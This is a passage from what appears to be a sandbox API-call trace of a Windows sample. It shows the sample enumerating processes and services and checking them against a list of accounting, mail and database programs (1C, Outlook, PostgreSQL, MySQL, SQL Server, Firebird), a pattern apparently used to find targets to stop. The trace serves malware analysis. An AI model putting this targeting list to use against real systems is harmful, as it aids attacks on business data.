(lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0229.412] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0229.412] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0229.412] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0229.412] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0229.413] lstrlenW (lpString="audiodg.exe") returned 11 [0229.413] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0229.413] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.414] lstrlenW (lpString="svchost.exe") returned 11 [0229.414] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0229.415] lstrlenW (lpString="userinit.exe") returned 12 [0229.415] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0229.416] lstrlenW (lpString="explorer.exe") returned 12 [0229.416] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0229.417] lstrlenW (lpString="dwm.exe") returned 7 [0229.418] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.419] lstrlenW (lpString="svchost.exe") returned 11 [0229.419] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0229.420] lstrlenW (lpString="winhost.exe") returned 11 [0229.420] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0229.421] lstrlenW (lpString="spoolsv.exe") returned 11 [0229.421] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0229.422] lstrlenW (lpString="dllhost.exe") returned 11 [0229.422] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.424] lstrlenW (lpString="svchost.exe") returned 11 [0229.424] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0229.425] lstrlenW (lpString="taskhost.exe") returned 12 [0229.425] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0229.426] lstrlenW (lpString="reader_sl.exe") returned 13 [0229.426] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0229.427] CloseHandle (hObject=0x380) returned 1 [0229.428] Sleep (dwMilliseconds=0x1f4) [0230.105] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e450 [0230.155] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0230.156] GetLastError () returned 0xea [0230.157] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc9a) returned 0x432a868 [0230.157] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432a868, cbBufSize=0xc9a, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432a868, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0230.158] CloseServiceHandle (hSCObject=0x62e450) returned 1 [0230.159] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0230.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0230.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0230.159] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0230.159] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0230.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0230.159] lstrlenW (lpString="AudioSrv") returned 8 [0230.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0230.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0230.159] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0230.160] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0230.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0230.160] lstrlenW (lpString="BFE") returned 3 [0230.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0230.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0230.160] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0230.160] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0230.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0230.160] lstrlenW (lpString="CryptSvc") returned 8 [0230.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0230.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0230.160] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0230.160] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0230.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0230.161] lstrlenW (lpString="CscService") returned 10 [0230.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0230.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0230.161] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0230.161] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0230.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0230.161] lstrlenW (lpString="DcomLaunch") returned 10 [0230.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0230.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0230.161] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0230.161] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0230.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0230.161] lstrlenW (lpString="Dhcp") returned 4 [0230.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0230.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0230.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0230.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0230.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0230.162] lstrlenW (lpString="Dnscache") returned 8 [0230.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0230.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0230.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0230.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0230.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0230.162] lstrlenW (lpString="DPS") returned 3 [0230.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0230.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0230.163] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0230.163] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0230.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0230.163] lstrlenW (lpString="eventlog") returned 8 [0230.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0230.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0230.163] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0230.163] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0230.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0230.163] lstrlenW (lpString="EventSystem") returned 11 [0230.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0230.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0230.163] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0230.163] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0230.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0230.163] lstrlenW (lpString="gpsvc") returned 5 [0230.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0230.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0230.164] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0230.164] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0230.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0230.164] lstrlenW (lpString="LanmanWorkstation") returned 17 [0230.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0230.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0230.164] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0230.164] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0230.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0230.164] lstrlenW (lpString="lmhosts") returned 7 [0230.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0230.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0230.164] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0230.165] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0230.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0230.165] lstrlenW (lpString="MMCSS") returned 5 [0230.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0230.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0230.165] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0230.165] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0230.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0230.165] lstrlenW (lpString="MpsSvc") returned 6 [0230.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0230.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0230.165] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0230.165] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0230.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0230.166] lstrlenW (lpString="NlaSvc") returned 6 [0230.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0230.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0230.166] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0230.166] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0230.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0230.166] lstrlenW (lpString="nsi") returned 3 [0230.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0230.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0230.166] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0230.166] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0230.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0230.166] lstrlenW (lpString="PcaSvc") returned 6 [0230.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0230.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0230.167] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0230.167] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0230.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0230.167] lstrlenW (lpString="PlugPlay") returned 8 [0230.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0230.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0230.167] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0230.167] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0230.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0230.167] lstrlenW (lpString="Power") returned 5 [0230.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0230.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0230.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0230.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0230.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0230.168] lstrlenW (lpString="ProfSvc") returned 7 [0230.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0230.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0230.168] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0230.168] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0230.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0230.168] lstrlenW (lpString="RpcEptMapper") returned 12 [0230.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0230.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0230.169] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0230.169] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0230.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0230.169] lstrlenW (lpString="RpcSs") returned 5 [0230.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0230.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0230.169] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0230.169] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0230.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0230.169] lstrlenW (lpString="SamSs") returned 5 [0230.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0230.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0230.170] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0230.170] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0230.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0230.170] lstrlenW (lpString="Schedule") returned 8 [0230.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0230.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0230.170] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0230.170] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0230.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0230.170] lstrlenW (lpString="SENS") returned 4 [0230.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0230.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0230.171] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0230.171] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0230.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0230.171] lstrlenW (lpString="ShellHWDetection") returned 16 [0230.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0230.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0230.171] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0230.171] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0230.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0230.171] lstrlenW (lpString="Spooler") returned 7 [0230.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0230.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0230.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0230.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0230.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0230.172] lstrlenW (lpString="Themes") returned 6 [0230.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0230.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0230.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0230.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0230.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0230.174] lstrlenW (lpString="UxSms") returned 5 [0230.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0230.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0230.174] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0230.174] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0230.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0230.174] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x432a868 | out: hHeap=0x590000) returned 1 [0230.174] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0230.179] Process32FirstW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.180] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0230.181] lstrlenW (lpString="System") returned 6 [0230.181] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0230.181] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0230.181] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0230.181] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0230.181] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0230.181] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0230.181] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0230.181] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0230.182] lstrlenW (lpString="smss.exe") returned 8 [0230.182] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0230.182] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0230.182] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0230.183] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0230.183] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0230.183] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0230.183] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0230.183] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.184] lstrlenW (lpString="csrss.exe") returned 9 [0230.184] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0230.184] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0230.184] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0230.184] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0230.184] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0230.184] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0230.184] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0230.184] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0230.185] lstrlenW (lpString="wininit.exe") returned 11 [0230.185] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0230.185] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0230.186] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0230.186] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0230.186] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0230.186] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0230.186] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0230.186] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.187] lstrlenW (lpString="csrss.exe") returned 9 [0230.187] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0230.187] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0230.187] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0230.187] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0230.187] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0230.188] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0230.188] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0230.188] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0230.189] lstrlenW (lpString="winlogon.exe") returned 12 [0230.189] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0230.189] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0230.189] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0230.189] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0230.189] lstrcmpiW 